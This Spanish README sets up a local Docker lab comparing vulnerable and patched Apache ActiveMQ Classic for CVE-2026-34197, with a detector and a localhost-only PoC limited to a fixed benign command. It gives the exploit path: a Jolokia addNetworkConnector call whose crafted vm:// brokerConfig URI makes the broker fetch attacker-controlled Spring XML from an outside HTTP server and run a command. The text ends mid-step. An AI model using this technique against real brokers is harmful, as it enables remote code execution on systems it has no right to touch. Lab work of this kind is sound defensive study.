
# Laboratorio Docker que demuestra CVE-2026-34197, una RCE en Apache ActiveMQ Classic a través de Jolokia. Incluye un detector seguro y un PoC solo local con comando fijo, comparando versiones vulnerables y parcheadas.
Este repositorio es un laboratorio Docker local para estudiar CVE-2026-34197, un problema de ejecución remota de código en Apache ActiveMQ Classic accesible a través de la API Jolokia JMX-HTTP.
El laboratorio compara dos instancias de ActiveMQ Classic lado a lado:
| Servicio | Versión | Propósito | URL |
|---|---|---|---|
vuln | 5.19.3 | Objetivo vulnerable | http://127.0.0.1:8081 |
patched | 5.19.4 | Objetivo de comparación parcheado | http://127.0.0.1:8082 |
El repositorio contiene dos scripts de prueba:
| Script | Propósito | Modelo de seguridad |
|---|---|---|
poc/detect.py | Detector autorizado | Solo HTTP; no explota |
poc/poc.py | Prueba de ruta RCE solo local | Comando fijo únicamente: id; whoami; sleep 5 |
La evidencia de ejecución se verifica por separado por el operador utilizando herramientas de observación de procesos como strace.
CVE-2026-34197 afecta a Apache ActiveMQ Classic en versiones donde un usuario autenticado puede usar la API Jolokia para invocar operaciones de gestión del broker y hacer que la JVM del broker cargue XML Spring controlado por el atacante a través de una URI brokerConfig=xbean:http://... manipulada.
El flujo vulnerable demostrado en este laboratorio es:
Jolokia /api/jolokia/
-> Operación MBean del Broker
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> Descarga remota de XML Spring
-> Inicialización del bean ProcessBuilder
-> Comando de prueba local fijo
El servicio parcheado bloquea esta ruta antes de que se descargue el XML y devuelve un error similar a:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml ejecuta los servicios ActiveMQ vulnerable y parcheado.vuln/Dockerfile construye Apache ActiveMQ Classic 5.19.3.patched/Dockerfile construye Apache ActiveMQ Classic 5.19.4.poc/detect.py verifica la exposición de Jolokia, la versión de ActiveMQ y la visibilidad del MBean del Broker.poc/poc.py activa la ruta RCE solo local usando un comando benigno fijo.images/strace.png contiene evidencia local de observación de procesos del servicio vulnerable..gitignore excluye artefactos locales, archivos de caché de Python, entornos virtuales, registros y secretos.Este repositorio está destinado únicamente para uso en laboratorio local y validación de seguridad autorizada.
El PoC está deliberadamente restringido:
id; whoami; sleep 5.strace.Objetivos locales permitidos para poc.py:
127.0.0.1
localhost
::1
No use este repositorio contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
docker compose down -v
docker compose build
docker compose up -d
Verifique el estado del servicio:
docker compose ps
Servicios esperados:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Verifique el servicio vulnerable:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Verifique el servicio parcheado:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Versiones esperadas:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py es el script predeterminado seguro. No explota el objetivo.
Verifica:
/api/jolokia/version es accesible;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Resultado esperado:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
El detector marca un objetivo como LIKELY_VULNERABLE cuando:
Jolokia es accesible
+
La versión de ActiveMQ está en un rango afectado
Rangos afectados utilizados por este laboratorio:
5.x < 5.19.4
6.x < 6.2.3
La visibilidad del MBean del Broker se usa como evidencia de confianza porque la ruta de explotación depende de las operaciones de gestión del broker.
El detector no afirma CONFIRMED_RCE.
poc/poc.py demuestra la ruta RCE en el laboratorio Docker local.
Inicia un servidor HTTP temporal en el host y sirve una carga útil XML Spring en una ruta única por ejecución:
/evil-<nonce>.xml
Luego invoca el MBean del Broker de ActiveMQ a través de Jolokia:
addNetworkConnector(java.lang.String)
con una URI de descubrimiento manipulada:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
El broker vulnerable descarga este XML. El broker parcheado bloquea el esquema de transporte vm:// antes de descargar el XML.
Después de una ejecución vulnerable, el NetworkConnector creado puede reintentar descargar la ruta XML anterior. El script usa un nonce por ejecución y rastrea matches_current_run para evitar falsos positivos.
Un acierto solo se cuenta como la ejecución actual si coincide con:
/evil-<nonce-actual>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Salida esperada:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Esto confirma que ActiveMQ 5.19.3 puede ser inducido a descargar XML Spring controlado por el atacante a través de la ruta del broker gestionada por Jolokia.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Salida esperada:
VM scheme is not allowed
[-] No XML fetch observed for this run.
Si aparecen aciertos de una ejecución vulnerable anterior, deberían mostrar:
"matches_current_run": false
Esos no se cuentan como éxito del servicio parcheado.
El script PoC no recopila la salida del comando. Para confirmar la ejecución del comando, observe la creación de procesos dentro del contenedor vulnerable.
Ingrese al contenedor vulnerable como root:
docker exec -it --user root cve-2026-34197-vuln bash
Encuentre el proceso Java: